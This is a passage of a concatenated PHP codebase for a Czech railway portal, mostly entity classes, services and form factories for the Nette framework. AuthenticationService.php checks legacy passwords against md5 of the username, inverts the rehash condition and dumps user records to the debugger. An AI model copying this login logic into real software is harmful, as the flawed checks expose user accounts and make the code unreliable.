$this; } public function getType(): int { return $this->type; } public function setType(int $type): Category { $this->type = $type; return $this; } public function getName(): ?string { return $this->name; } public function setName(?string $name): Category { $this->name = $name; return $this; } public function getImage(): ?string { return $this->image; } public function setImage(?string $image): Category { $this->image = $image; return $this; } public function getOrderPosition(): ?int { return $this->orderPosition; } public function setOrderPosition(?int $orderPosition): Category { $this->orderPosition = $orderPosition; return $this; } public function isVisible(): bool { return $this->visible; } public function setVisible(bool $visible): Category { $this->visible = $visible; return $this; } public function getSeoUrl(): ?string { return $this->seoUrl; } public function setSeoUrl(?string $seoUrl): Category { $this->seoUrl = $seoUrl; return $this; } } ``` GalleryCategory.php ```<?php namespace ZelPage; class GalleryCategory { /** @var null|string */ private $id; public function getId(): ?string { return $this->id; } public function setId(?string $id ): GalleryCategory { $this->id = $id; return $this; } } ``` NewsService.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Database\Context; class NewsService { use SmartObject; use LegacyAwareObject; /** @var Context */ private $db; /** @var UserService */ private $userService; public function __construct(Context $db, UserService $userService) { $this->db = $db; $this->userService = $userService; } public function findCategoryByID(int $categoryID): ?Category { $row = $this->db->table('kategorie')->where('id', $categoryID)->fetch(); return ($row === FALSE) ? NULL : self::mapToCategory($row); } /** * @param int $limit * @return News[] */ public function findLatestNews(int $limit = 10): array { $news = []; foreach ($this->db->table('news')->order('datum_reverse ASC')->limit($limit) as $row) { $n = self::mapToNews($row); $news[] = $n ->setAuthors($this->findNewsAuthors($n->getId())) ->setCategories($this->findNewsCategories($n->getId())) ; } return $news; } /** * @param $newsID int * @return User[] */ public function findNewsAuthors(int $newsID): array { $authors = []; foreach ($this->db->table('news_autor')->where('id_news', $newsID) as $row) { $author = $this->userService->findUserByID($row->id_autor); if (!is_null($author)) { $authors[] = $author; } } return $authors; } /** * @param $newsID int * @return Category[] */ public function findNewsCategories(int $newsID): array { $categories = []; foreach ($this->db->table('news_kategorie')->where('id_news', $newsID) as $row) { $category = $this->findCategoryByID($row->id_kategorie); if (!is_null($category)) { $categories[] = $category; } } return $categories; } private static function mapToCategory($row): Category { $c = (new Category()) ->setId($row->id) ->setType($row->typ) ->setVisible(boolval($row->zobraz)) ; if (empty($row->nazev) === FALSE) { $c->setName($row->nazev); } if (empty($row->img) === FALSE) { $c->setImage($row->img); } if (empty($row->poradi) === FALSE) { $c->setOrderPosition($row->poradi); } if (empty($row->seo_url) === FALSE) { $c->setSeoUrl($row->seo_url); } return $c; } private static function mapToNews($row): News { $n = (new News()) ->setId($row->id) ; if (empty($row->titulek) === FALSE) { $n->setTitle($row->titulek); } if (empty($row->perex) === FALSE) { $n->setPerex($row->perex); } if (empty($row->datum) === FALSE) { $n->setTimestamp($row->datum); } if (empty($row->zprava) === FALSE) { $n->setText($row->zprava); } return $n; } } ``` GroupLayer.php ```<?php namespace ZelPage; class GroupLayer { /** @var int */ private $id; /** @var string */ private $name; /** @var int */ private $level; public function getId(): int { return $this->id; } public function setId(int $id): GroupLayer { $this->id = $id; return $this; } public function getName(): string { return $this->name; } public function setName(string $name): GroupLayer { $this->name = $name; return $this; } public function getLevel(): int { return $this->level; } public function setLevel(int $level): GroupLayer { $this->level = $level; return $this; } } ``` AuthenticationService.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Database\Context; use \Nette\Security\Identity; use \Nette\Security\IIdentity; use \Nette\Security\Passwords; use \Nette\Security\IAuthenticator; use \Nette\Security\AuthenticationException; use \Tracy\Debugger; class AuthenticationService implements IAuthenticator { use SmartObject; use LegacyAwareObject; /** @var UserService */ private $userService; /** @var Context */ private $db; public function __construct(UserService $userService, Context $db) { $this->userService = $userService; $this->db = $db; } public function authenticate(array $credentials): IIdentity { [$username, $password] = $credentials; $user = $this->userService->findUserByUsername($username); Debugger::barDump($user); if (is_null($user)) { throw new AuthenticationException('User does not exist.', self::IDENTITY_NOT_FOUND); } else if ($user->isMigratedFromMD5() && !Passwords::verify($password, $user->getPassword())) { throw new AuthenticationException('Password is not correct.', self::INVALID_CREDENTIAL); } else if (!$user->isMigratedFromMD5() && $user->getPassword() != md5($username)) { throw new AuthenticationException('Password is not correct.', self::INVALID_CREDENTIAL); } if (!$user->isMigratedFromMD5() || !Passwords::needsRehash($user->getPassword())) { $this->db->table('users')->where('id', $user->getId())->update([ 'pass' => Passwords::hash($password), 'is_migrated_from_md5' => TRUE, ]); } $user->setPassword(' ** Sensitive Data ** '); return new Identity($user->getId(), [], NULL); } } ``` GalleryPicture.php ```<?php namespace ZelPage; use \Nette\Utils\DateTime; class GalleryPicture { /** @var null|string */ private $id; /** @var null|string */ private $label; /** @var null|GalleryCategory */ private $parent; /** @var null|string */ private $title; /** @var null|string */ private $place; /** @var null|string */ private $dateCreated; /** @var null|DateTime */ private $datePublished; /** @var null|User */ private $author; /** @var null|string */ private $note; /** @var int */ private $pointsPositive = 0; /** @var int */ private $pointsNegative = 0; /** @var User[] */ private $pointsByAdministrators = []; /** @var null|string */ private $published = 'y_n'; /** @var string */ private $ratingAllowed = 'y'; /** @var string */ private $commentsAllowed = 'y'; /** @var int */ private $commentCount = 0; public function getId(): ?string { return $this->id; } public function setId(?string $id): GalleryPicture { $this->id = $id; return $this; } public function getLabel(): ?string { return $this->label; } public function setLabel(?string $label): GalleryPicture { $this->label = $label; return $this; } public function getParent(): ?GalleryCategory { return $this->parent; } public function setParent(?GalleryCategory $parent): GalleryPicture { $this->parent = $parent; return $this; } public function getTitle(): ?string { return $this->title; } public function setTitle(?string $title): GalleryPicture { $this->title = $title; return $this; } public function getPlace(): ?string { return $this->place; } public function setPlace( ?string $place ): GalleryPicture { $this->place = $place; return $this; } public function getDateCreated(): ?string { return $this->dateCreated; } public function setDateCreated(?string $dateCreated): GalleryPicture { $this->dateCreated = $dateCreated; return $this; } public function getDatePublished(): ?DateTime { return $this->datePublished; } public function setDatePublished(?DateTime $datePublished): GalleryPicture { $this->datePublished = $datePublished; return $this; } public function getAuthor(): ?User { return $this->author; } public function setAuthor(?User $author): GalleryPicture { $this->author = $author; return $this; } public function getNote(): ?string { return $this->note; } public function setNote(?string $note): GalleryPicture { $this->note = $note; return $this; } public function getPointsPositive(): int { return $this->pointsPositive; } public function setPointsPositive(int $pointsPositive): GalleryPicture { $this->pointsPositive = $pointsPositive; return $this; } public function getPointsNegative(): int { return $this->pointsNegative; } public function setPointsNegative(int $pointsNegative): GalleryPicture { $this->pointsNegative = $pointsNegative; return $this; } /** @return User[] */ public function getPointsByAdministrators(): array { return $this->pointsByAdministrators; } /** * @param User[] $pointsByAdministrators * @return GalleryPicture */ public function setPointsByAdministrators(array $pointsByAdministrators): GalleryPicture { $this->pointsByAdministrators = $pointsByAdministrators; return $this; } public function getPublished(): ?string { return $this->published; } public function setPublished(?string $published): GalleryPicture { $this->published = $published; return $this; } public function getRatingAllowed(): string { return $this->ratingAllowed; } public function setRatingAllowed(string $ratingAllowed): GalleryPicture { $this->ratingAllowed = $ratingAllowed; return $this; } public function getCommentsAllowed(): string { return $this->commentsAllowed; } public function setCommentsAllowed(string $commentsAllowed): GalleryPicture { $this->commentsAllowed = $commentsAllowed; return $this; } public function getCommentCount(): int { return $this->commentCount; } public function setCommentCount(int $commentCount): GalleryPicture { $this->commentCount = $commentCount; return $this; } } ``` main.js ```function prepareAjaxUpload() { var modernUploadEnabled = function() { const fde = document.createElement('div'); return (('draggable' in fde) || ('ondragstart' in fde && 'ondrop' in fde)) && 'FormData' in window && 'FileReader' in window; }(); const uploadForm = $("form.file-upload"); const uploadLabel = uploadForm.find('label'); var fileAdded = function(filenames) { uploadLabel.text(''); $('.upload-preview').remove(); for (var i = 0; i < filenames.length; i++) { uploadLabel.append(filenames[i].name + "<br>"); previewImage(filenames[i]); } } var previewImage = function(imageFile) { const reader = new FileReader(); $(reader).on('load', function() { $('<img>').attr({src: reader.result, class: 'upload-preview'}).insertBefore(uploadForm); }) if (imageFile) { reader.readAsDataURL(imageFile); } } if (modernUploadEnabled) { var droppedFiles = false; uploadForm.addClass('drop-enabled'); uploadForm.on('drag dragstart dragend dragover dragenter dragleave drop', function(e) { e.preventDefault(); e.stopPropagation(); }) .on('dragover dragenter', function() { $(this).addClass('dragover'); }) .on('dragleave dragend drop', function() { $(this).removeClass('dragover'); }) .on('drop', function(e) { droppedFiles = e.originalEvent.dataTransfer.files; fileAdded(droppedFiles); }); } uploadForm.find('input[type=file]').on('change', function(e) { fileAdded(e.target.files); }); } $(document).ready(function() { prepareAjaxUpload(); });``` HomepagePresenter.php ```<?php namespace ZelPage; use \Tracy\Debugger; class HomepagePresenter extends BasePresenter { /** @var UserService */ private $userService; /** @var NewsService */ private $newsService; /** @var GalleryService */ private $galleryService; /** @var News[] */ private $news = []; /** @var GalleryPicture[] */ private $pictures = []; public function __construct( UserService $userService, NewsService $newsService, GalleryService $galleryService ) { parent::__construct(); $this->userService = $userService; $this->newsService = $newsService; $this->galleryService = $galleryService; } public function actionDefault() { $this->news = $this->newsService->findLatestNews(); $this->pictures = $this->galleryService->getLatestPictures(); Debugger::barDump($this->news); Debugger::barDump($this->pictures); Debugger::barDump($this->userService->findGroups()); } } ``` Vehicle.php ```<?php namespace ZelPage; class Vehicle { /** @var null|int */ private $id; /** @var null|string */ private $name; /** @var array */ private $type; /** @var null|string */ private $seoUrl; /** @var null|string */ private $linkAtlas; /** @var null|string */ private $linkGallery; /** @var bool */ private $active = FALSE; private $modified; /** @var null|string */ private $uicCode; /** @var null|int */ private $uicCountry; /** @var string */ private $cat = 'v'; public function getId(): ?int { return $this->id; } public function setId($id): Vehicle { $this->id = $id; return $this; } public function getName(): ?string { return $this->name; } public function hasName(): bool { return empty($this->name) === FALSE; } public function setName(string $name): Vehicle { $this->name = $name; return $this; } public function getType(): ?array { return $this->type; } public function hasType(): bool { return empty($this->type) === FALSE; } public function setType($type): Vehicle { $this->type = $type; return $this; } public function getSeoUrl(): ?string { return $this->seoUrl; } public function setSeoUrl(string $seoUrl): Vehicle { $this->seoUrl = $seoUrl; return $this; } public function getLinkAtlas(): ?string { return $this->linkAtlas; } public function hasLinkAtlas(): bool { return empty($this->linkAtlas) === FALSE; } public function setLinkAtlas(string $linkAtlas): Vehicle { $this->linkAtlas = $linkAtlas; return $this; } public function getLinkGallery(): ?string { return $this->linkGallery; } public function hasLinkGallery(): bool { return empty($this->linkGallery) === FALSE; } public function setLinkGallery(string $linkGallery): Vehicle { $this->linkGallery = $linkGallery; return $this; } public function isActive(): bool { return $this->active; } public function setActive(bool $active): Vehicle { $this->active = $active; return $this; } public function getModified() { return $this->modified; } public function hasModified(): bool { return empty($this->modified) === FALSE; } public function setModified($modified): Vehicle { $this->modified = $modified; return $this; } public function getUicCode(): ?string { return $this->uicCode; } public function hasUicCode(): bool { return empty($this->uicCode) === FALSE; } public function setUicCode(string $uicCode): Vehicle { $this->uicCode = $uicCode; return $this; } public function getUicCountry(): ?int { return $this->uicCountry; } public function hasUicCountry(): bool { return empty($this->uicCountry) === FALSE; } public function setUicCountry($uicCountry): Vehicle { $this->uicCountry = $uicCountry; return $this; } public function getCat(): ?string { return $this->cat; } public function setCat($cat): Vehicle { $this->cat = $cat; return $this; } } ``` LegacyAwareObject.php ```<?php namespace ZelPage; trait LegacyAwareObject { protected static function expandTypes(int $type): array { $types = []; foreach ([1, 2, 4, 8, 16, 32, 1024, 2048, 4096, 8192, 16384] as $i) { if ($type & $i) { $types[] = $i; } } return $types; } protected static function zipTypes(array $types): int { $type = 0; foreach ($types as $t) { $type |= $t; } return $type; } } ``` GalleryService.php ```<?php namespace ZelPage; use \Nette\Database\Context; use \Nette\SmartObject; class GalleryService { use SmartObject; use LegacyAwareObject; /** @var Context */ private $db; /** @var UserService */ private $userService; public function __construct(Context $db, UserService $userService) { $this->db = $db; $this->userService = $userService; } /** * @param int $limit * @return GalleryPicture[] */ public function getLatestPictures(int $limit = 10): array { $pictures = []; foreach ($this->db->table('fotogalerie')->where('typ', 'pic')->where('zobrazit', 'y')->where('date_p_reverse >= ?', 2051218800 - strtotime(date('Y-m-d H:i:00')))->order('date_p_reverse ASC')->limit($limit) as $row) { $picture = self::mapToPicture($row); $pictures[] = $picture ->setAuthor($this->userService->findUserByID($picture->getAuthor()->getId())) ; } return $pictures; } private static function mapToPicture($row): GalleryPicture { $p = (new GalleryPicture()) ->setId($row->id) ; if (empty($row->popis) === FALSE) { $p->setLabel($row->popis); } if (empty($row->parent) === FALSE) { $p->setParent((new GalleryCategory())->setId($row->parent)); } if (empty($row->titulek) === FALSE) { $p->setTitle($row->titulek); } if (empty($row->misto) === FALSE) { $p->setPlace($row->misto); } if (empty($row->date_f) === FALSE) { $p->setDateCreated($row->date_f); } if (empty($row->date_p) === FALSE) { $p->setDatePublished($row->date_p); } if (empty($row->id_autor) === FALSE) { $p->setAuthor((new User())->setId($row->id_autor)); } if (empty($row->note) === FALSE) { $p->setNote($row->note); } if (empty($row->hodn_y) === FALSE) { $p->setPointsPositive($row->hodn_y); } if (empty($row->hodn_n) === FALSE) { $p->setPointsNegative($row->hodn_n); } if (empty($row->hodn_user) === FALSE) { // TODO } if (empty($row->zobrazit) === FALSE) { $p->setPublished($row->zobrazit); } if (empty($row->hodnoceni) === FALSE) { $p->setRatingAllowed($row->hodnoceni); } if (empty($row->komenty) === FALSE) { $p->setCommentsAllowed($row->komenty); } if (empty($row->poc_koment) === FALSE) { $p->setCommentCount($row->poc_koment); } return $p; } } ``` Country.php ```<?php namespace ZelPage; class Country { /** @var int */ private $id; /** @var string */ private $name; /** @var string */ private $seoHandle; /** @var string */ private $abbr; /** @var int|null */ private $uicCode; /** @var string */ private $nameEn; /** @var string */ private $nameDe; /** @var string */ private $nameFr; /** @var string */ private $nameOrig; /** @var string */ private $continent; public function getId(): ?int { return $this->id; } public function setId(int $id): Country { $this->id = $id; return $this; } public function getName(): ?string { return $this->name; } public function setName(string $name): Country { $this->name = $name; return $this; } public function getSeoHandle(): ?string { return $this->seoHandle; } public function setSeoHandle(?string $seoHandle): Country { $this->seoHandle = $seoHandle; return $this; } public function getAbbr(): ?string { return $this->abbr; } public function setAbbr(?string $abbr): Country { $this->abbr = $abbr; return $this; } public function getUicCode(): ?int { return $this->uicCode; } public function setUicCode(?int $uicCode): Country { $this->uicCode = $uicCode; return $this; } public function getNameEn(): ?string { return $this->nameEn; } public function setNameEn(?string $nameEn): Country { $this->nameEn = $nameEn; return $this; } public function getNameDe(): ?string { return $this->nameDe; } public function setNameDe(?string $nameDe): Country { $this->nameDe = $nameDe; return $this; } public function getNameFr(): ?string { return $this->nameFr; } public function setNameFr(?string $nameFr): Country { $this->nameFr = $nameFr; return $this; } public function getNameOrig(): ?string { return $this->nameOrig; } public function setNameOrig(?string $nameOrig): Country { $this->nameOrig = $nameOrig; return $this; } public function getContinent(): ?string { return $this->continent; } public function setContinent(?string $continent): Country { $this->continent = $continent; return $this; } } ``` Image.php ```<?php namespace ZelPage; class Image { } ``` Organizer.php ```<?php namespace ZelPage; class Organizer { /** @var null|int */ private $id; /** @var null|string */ private $name; /** @var null|string */ private $brand; /** @var null|string */ private $taxId; /** @var null|string */ private $address; /** @var null|string */ private $description; /** @var null|int */ private $postOfficeBoxNumber; /** @var null|string */ private $streetAddress; /** @var null|string */ private $postalCode; /** @var null|string */ private $addressLocality; /** @var null|string */ private $addressCountry; /** @var null|string */ private $phone; /** @var null|string */ private $fax; /** @var null|string */ private $email; /** @var null|string */ private $www; /** @var null|string */ private $facebook; /** @var null|string */ private $carrierNumber; /** @var mixed */ private $foundingDate; /** @var mixed */ private $dissolutionDate; /** @var int */ private $type = 0; /** @var array */ private $types = []; /** @var bool */ private $active = FALSE; /** @var string */ private $seoUrl = ""; private $modified; public function getId() { return $this->id; } public function setId($id) : Organizer { $this->id = $id; return $this; } /** @return null|string */ public function getName() { return $this->name; } public function setName(string $name) : Organizer { $this->name = $name; return $this; } public function getBrand() { return $this->brand; } public function hasBrand() : bool { return empty($this->brand) === FALSE; } public function setBrand($brand) : Organizer { $this->brand = $brand; return $this; } public function getTaxId() { return $this->taxId; } public function hasTaxId() : bool { return empty($this->taxId) === FALSE; } public function setTaxId($taxId) : Organizer { $this->taxId = $taxId; return $this; } public function getAddress() { return $this->address; } public function hasAddress() : bool { return empty($this->address) === FALSE; } public function setAddress($address) : Organizer { $this->address = $address; return $this; } public function getDescription() { return $this->description; } public function hasDescription() : bool { return empty($this->description) === FALSE; } public function setDescription($description) : Organizer { $this->description = $description; return $this; } public function getPostOfficeBoxNumber() { return $this->postOfficeBoxNumber; } public function hasPostOfficeBoxNumber() : bool { return empty($this->postOfficeBoxNumber) === FALSE; } public function setPostOfficeBoxNumber($postOfficeBoxNumber) : Organizer { $this->postOfficeBoxNumber = $postOfficeBoxNumber; return $this; } public function getStreetAddress() { return $this->streetAddress; } public function hasStreetAddress() : bool { return empty($this->streetAddress) === FALSE; } public function setStreetAddress($streetAddress) : Organizer { $this->streetAddress = $streetAddress; return $this; } public function getPostalCode() { return $this->postalCode; } public function hasPostalCode() { return empty($this->postalCode) === FALSE; } public function setPostalCode($postalCode) : Organizer { $this->postalCode = $postalCode; return $this; } public function getAddressLocality() { return $this->addressLocality; } public function hasAddressLocality() : bool { return empty($this->addressLocality) === FALSE; } public function setAddressLocality($addressLocality) : Organizer { $this->addressLocality = $addressLocality; return $this; } public function getAddressCountry() { return $this->addressCountry; } public function hasAddressCountry() : bool { return empty($this->addressCountry) === FALSE; } public function setAddressCountry($addressCountry) : Organizer { $this->addressCountry = $addressCountry; return $this; } public function getPhone() { return $this->phone; } public function hasPhone() : bool { return empty($this->phone) === FALSE; } public function setPhone($phone) : Organizer { $this->phone = $phone; return $this; } public function getFax() { return $this->fax; } public function hasFax() : bool { return empty($this->fax) === FALSE; } public function setFax($fax) : Organizer { $this->fax = $fax; return $this; } public function getEmail() { return $this->email; } public function hasEmail() : bool { return empty($this->email) === FALSE; } public function setEmail($email) : Organizer { $this->email = $email; return $this; } public function getWww() { return $this->www; } public function hasWww() : bool { return empty($this->www) === FALSE; } public function setWww($www) : Organizer { $this->www = $www; return $this; } public function getFacebook() { return $this->facebook; } public function hasFacebook() : bool { return empty($this->facebook) === FALSE; } public function setFacebook($facebook) : Organizer { $this->facebook = $facebook; return $this; } public function getCarrierNumber() { return $this->carrierNumber; } public function hasCarrierNumber() : bool { return empty($this->carrierNumber) === FALSE; } public function setCarrierNumber($carrierNumber) : Organizer { $this->carrierNumber = $carrierNumber; return $this; } public function getFoundingDate() { return $this->foundingDate; } public function hasFoundingDate() : bool { return empty($this->foundingDate) === FALSE; } public function setFoundingDate($foundingDate) : Organizer { $this->foundingDate = $foundingDate; return $this; } public function getDissolutionDate() { return $this->dissolutionDate; } public function hasDissolutionDate() : bool { return empty($this->dissolutionDate) === FALSE; } public function setDissolutionDate($dissolutionDate) { $this->dissolutionDate = $dissolutionDate; return $this; } public function getType() : int { return $this->type; } public function setType(int $type) { $this->type = $type; return $this; } public function getTypes() { return $this->types; } public function setTypes($types) { $this->types = $types; return $this; } public function isActive() { return $this->active; } public function setActive($active) { $this->active = $active; return $this; } public function getSeoUrl() : string { return $this->seoUrl; } public function setSeoUrl(string $seoUrl) : Organizer { $this->seoUrl = $seoUrl; return $this; } public function getModified() { return $this->modified; } public function hasModified() : bool { return empty($this->modified) === FALSE; } public function setModified($modified) : Organizer { $this->modified = $modified; return $this; } } ``` Group.php ```<?php namespace ZelPage; class Group { /** @var null|int */ private $id; /** @var string */ private $name; /** @var string */ private $description; /** @var null|int */ private $forumId; /** @var null\string */ private $slack; /** @var GroupLayer[] */ private $layers = []; public function getId(): ?int { return $this->id; } public function setId(int $id): Group { $this->id = $id; return $this; } public function getName(): string { return $this->name; } public function setName(string $name): Group { $this->name = $name; return $this; } public function getDescription(): string { return $this->description; } public function setDescription(string $description): Group { $this->description = $description; return $this; } public function getForumId(): ?int { return $this->forumId; } public function setForumId(?int $forumId): Group { $this->forumId = $forumId; return $this; } public function getSlack(): ?string { return $this->slack; } public function setSlack(?string $slack): Group { $this->slack = $slack; return $this; } public function addLayer(GroupLayer $groupLayer): Group { $this->layers[$groupLayer->getLevel()] = $groupLayer; return $this; } /** * @return GroupLayer[] */ public function getLayers(): array { return $this->layers; } } ``` README.md ```# Portál ŽelPage ## Nastavení prostředí Pro nastavení přístupu do databáze slouží soubor `.env` v kořenovém adresáři projektu. Pokud neexistuje, předpokládají se jeho následující hodnoty: ``` DB_DSN=mysql:host=127.0.0.1;dbname=berta_zelpage DB_USER=berta_zelpage DB_PASS=berta_zelpage ``` ``` User.php ```<?php namespace ZelPage; class User { /** @var null|int */ private $id; /** @var null|string */ private $login; /** @var null|string */ private $password; /** @var bool */ private $migratedFromMD5 = FALSE; /** @var null|string */ private $name; /** @var null|string */ private $abbr; /** @var null|string */ private $nickname; /** @var null|string */ private $email; public function getId(): ?int { return $this->id; } public function setId(?int $id): User { $this->id = $id; return $this; } public function getLogin(): ?string { return $this->login; } public function setLogin(?string $login): User { $this->login = $login; return $this; } public function getPassword(): ?string { return $this->password; } public function setPassword(string $password): User { $this->password = $password; return $this; } public function isMigratedFromMD5(): bool { return $this->migratedFromMD5; } public function setMigratedFromMD5(bool $migratedFromMD5): User { $this->migratedFromMD5 = $migratedFromMD5; return $this; } public function getName(): ?string { return $this->name; } public function setName(?string $name): User { $this->name = $name; return $this; } public function getAbbr(): ?string { return $this->abbr; } public function setAbbr(?string $abbr): User { $this->abbr = $abbr; return $this; } public function getNickname(): ?string { return $this->nickname; } public function setNickname(?string $nickname): User { $this->nickname = $nickname; return $this; } public function getEmail(): ?string { return $this->email; } public function setEmail(?string $email): User { $this->email = $email; return $this; } } ``` BasePresenter.php ```<?php namespace ZelPage; use \Nette\Utils\DateTime; use \Nette\Application\UI\Form; use \Nette\Application\UI\ITemplate; use \Nette\Application\UI\Presenter; abstract class BasePresenter extends Presenter { /** @var SignInFormFactory */ private $signInFormFactory; public function actionSignout() { $this->getUser()->logout(); $this->redirect('default'); } public function injectSignInFormFactory(SignInFormFactory $signInFormFactory) { $this->signInFormFactory = $signInFormFactory; } protected function createTemplate(): ITemplate { $template = parent::createTemplate(); $template->today = new DateTime(); return $template; } protected function createComponentSignInForm(string $name): Form { return $this->signInFormFactory->create( function () { $this->redirect('this'); } ); } } ``` AnyFormFactory.php ```<?php namespace ZelPage; use \Nette\SmartObject; use \Nette\Application\UI\Form; abstract class AnyFormFactory { use SmartObject; public function createForm(): Form { $form = new Form; return $form; } } ``` CalendarType.php ```<?php namespace ZelPage; class CalendarType { /** @var int */ private $id; /** @var string */ private $type; /** @var int */ private $flag = 0; /** @var string */ private $imageUrl; /** @var int */ private $imageWidth = 0; /** @var int */ private $imageHeight = 0; /** @var string */ private $abbr; /** @var string */ private $shortName; /** @var string */ private $longName; public function getId(): ?int { return $this->id; } public function setId(int $id): CalendarType { $this->id = $id; return $this; } public function getType(): ?string { return $this->type; } public function setType(string $type): CalendarType { $this->type = $type; return $this; } public function getFlag(): int { return $this->flag; } public function setFlag(int $flag): CalendarType { $this->flag = $flag; return $this; } public function getImageUrl(): ?string { return $this->imageUrl; } public function setImageUrl(string $imageUrl): CalendarType { $this->imageUrl = $imageUrl; return $this; } public function getImageWidth(): int { return $this->imageWidth; } public function setImageWidth(int $imageWidth): CalendarType { $this->imageWidth = $imageWidth; return $this; } public function getImageHeight(): int { return $this->imageHeight; } public function setImageHeight(int $imageHeight): CalendarType { $this->imageHeight = $imageHeight; return $this; } public function getAbbr(): ?string { return $this->abbr; } public function setAbbr(?string $abbr): CalendarType { $this->abbr = $abbr; return $this; } public function getShortName(): ?string { return $this->shortName; } public function setShortName(?string $shortName): CalendarType { $this->shortName = $shortName; return $this; } public function getLongName(): ?string { return $this->longName; } public function setLongName(string $longName): CalendarType { $this->longName = $longName; return $this; } } ``` OrganizerFormFactory.php ```<?php namespace ZelPage; use \Nette\Utils\Html; use \Nette\SmartObject; use \Nette\Utils\ArrayHash; use \Nette\Application\UI\Form; class OrganizerFormFactory extends AnyFormFactory { use SmartObject; /** @var CalendarService */ private $service; public function __construct(CalendarService $service) { $this->service = $service; } public function create(callable $onOrganizerSaved, array $defaults, array $organizerTypes): OrganizerForm { $form = $this->createForm(); $form->addGroup('Údaje o pořadateli'); $form->addHidden('organizer_id'); $form->addText('jmeno', 'Název') ->setRequired('Vyplňte jméno pořadatele.'); $form->addText('brand', 'Zkratka'); $form->addText('taxId', 'IČO'); $form->addTextarea('adr', 'Adresa') ->setOption('description', Html::el('p') ->setHtml('např.: Žabotlamí 19, 12345 Zababov II') ); $form->addText('description', 'Dodatek'); $form->addText('postOfficeBoxNumber', 'P.O.Box'); $form->addText('streetAddress', 'ulice'); $form->addText('postalCode', 'PSČ'); $form->addText('addressLocality', 'obec'); $form->addText('addressCountry', 'stát'); $form->addText('telefon', 'telefon') ->setOption('description', Html::el('p') ->setHtml('např. 765432109, +49-123-4567890') ); $form->addText('fax', 'fax') ->setOption('description', Html::el('p') ->setHtml('např. 765432109, +49-123-4567890') ); $form->addText('email', 'e-mail') ->setAttribute('placeholder', 'jan.novak@zelpage.cz'); $form->addText('www', 'www') ->setAttribute('placeholder', 'http://novak.zelpage.cz'); $form->addText('FB', 'Facebook') ->setAttribute('placeholder', 'https://facebook.com/novak'); $form->addText('dopravce', 'číslo licence dopravce') ->addRule(Form::MAX_LENGTH, 'Číslo dopravce má max. délku 6 znaků', 6) ->setRequired(FALSE) ; $form->addText('foundingDate', 'datum registrace') ->setType('date') ->setRequired(FALSE); $form->addText('dissolutionDate', 'datum rozpuštění') ->setType('date') ->setRequired(FALSE); $form->addCheckboxList('typ', 'typ pořadatele', $organizerTypes) ->getSeparatorPrototype()->setName(NULL); $form->addCheckbox('active', 'Aktivní ve výběru'); $form->addSubmit('ok', 'OK'); $form->setDefaults($defaults); $form->onSuccess[] = function (OrganizerForm $form, ArrayHash $values) use ($onOrganizerSaved) { $organizer = (new Organizer()) ->setName($values->jmeno) ->setBrand($values->brand) ->setTaxId($values->taxId) ->setAddress($values->adr) ->setDescription($values->description) ->setPostOfficeBoxNumber($values->postOfficeBoxNumber) ->setStreetAddress($values->streetAddress) ->setPostalCode($values->postalCode) ->setAddressLocality($values->addressLocality) ->setAddressCountry($values->addressCountry) ->setPhone($values->telefon) ->setFax($values->fax) ->setEmail($values->email) ->setWww($values->www) ->setFacebook($values->FB) ->setCarrierNumber($values->dopravce) ->setFoundingDate($values->foundingDate) ->setDissolutionDate($values->dissolutionDate) ->setTypes($values->typ) ->setActive($values->active) ; $organizer = empty($values->organizer_id) ? $this->service->addOrganizer($organizer) : $this->service->editOrganizer($organizer->setId($values->organizer_id)); $onOrganizerSaved($organizer); }; return $form; } } ``` bootstrap.php ```<?php declare(strict_types=1); require __DIR__ . '/../vendor/autoload.php'; use \Nette\Database\DriverException; use \Nette\Database\ResultSet; use \Tracy\Debugger; use \Nette\Configurator; use \Nette\Database\Connection; use \Tracy\ILogger; $isDevMachine = in_array(getenv('COMPUTERNAME'), [ 'FORTEZZA', 'HUMBLEHORNET', 'HUNDERTHAF', 'MATOUSDANIELKA', ]); $configurator = new Configurator; $environment = Configurator::detectDebugMode($isDevMachine) ? 'development' : 'production'; $configFile = "/config/config.{$environment}.neon"; $configurator->enableTracy(__DIR__ . '/../log'); $configurator->setTimeZone('Europe/Prague'); $configurator->setTempDirectory(__DIR__ . '/../temp'); $configurator->createRobotLoader() ->addDirectory(__DIR__) ->register(); $configurator->addConfig(__DIR__ . '/config/config.neon'); $configurator->addConfig(__DIR__ . $configFile); $container = $configurator->createContainer(); if ($isDevMachine) { $connection = $container->getByType('Nette\Database\Connection'); $connection->onQuery[] = function(Connection $conn, $result) { if ($result instanceof ResultSet) { Debugger::log("SQL QUERY {$result->getQueryString()}"); } else if ($result instanceof DriverException) { Debugger::log("SQL ERROR {$result->getDriverCode()} {$result->getSqlState()} {$result->getMessage()} QUERY {$result->getQueryString()}", ILogger::ERROR); } }; } return $container; ``` News.php ```<?php namespace ZelPage; use \Nette\Utils\DateTime; class News { /** @var null|int */ private $id; /** @var User[] */ private $authors = []; /** @var null|string */ private $title; /** @var null|Image */ private $image; /** @var null|string */ private $perex; /** @var null|DateTime */ private $timestamp; /** @var int */ private $timestampReverse = 0; /** @var null|string */ private $text; /** @var Region[] */ private $regions = []; /** @var Category[] */ private $categories = []; /** @var null|string */ private $approveState; /** @var null|string */ private $seoUrl; /** @var string */ private $type = 'n'; /** @var ImageFolder[] */ private $imageFolder = []; /** @var bool */ private $top = FALSE; /** @var null|string */ private $description; /** @var null|string */ private $keywords; public function getId(): ?int { return $this->id; } public function setId(?int $id): News { $this->id = $id; return $this; } /** @return User[] */ public function getAuthors(): array { return $this->authors; } /** * @param User[] $authors * @return News */ public function setAuthors(array $authors): News { $this->authors = $authors; return $this; } public function getTitle(): ?string { return $this->title; } public function setTitle(?string $title): News { $this->title = $title; return $this; } public function getImage(): ?Image { return $this->image; } public function setImage(?Image $image): News { $this->image = $image; return $this; } public function getPerex(): ?string { return $this->perex; } public function setPerex(?string $perex): News { $this->perex = $perex; return $this; } public function getTimestamp(): ?DateTime { return $this->timestamp; } public function setTimestamp(?DateTime $timestamp ): News { $this->timestamp = $timestamp; return $this; } public function getTimestampReverse(): int { return $this->timestampReverse; } public function setTimestampReverse(int $timestampReverse ): News { $this->timestampReverse = $timestampReverse; return $this; } public function getText(): ?string { return $this->text; } public function setText(?string $text): News { $this->text = $text; return $this; } /** @return Region[] */ public function getRegions(): array { return $this->regions; } /** * @param Region[] $regions * @return News */ public function setRegions(array $regions): News { $this->regions = $regions; return $this; } /** @return Category[] */ public function getCategories(): array { return $this->categories; } /** * @param Category[] $categories * * @return News */ public function setCategories(array $categories): News { $this->categories = $categories; 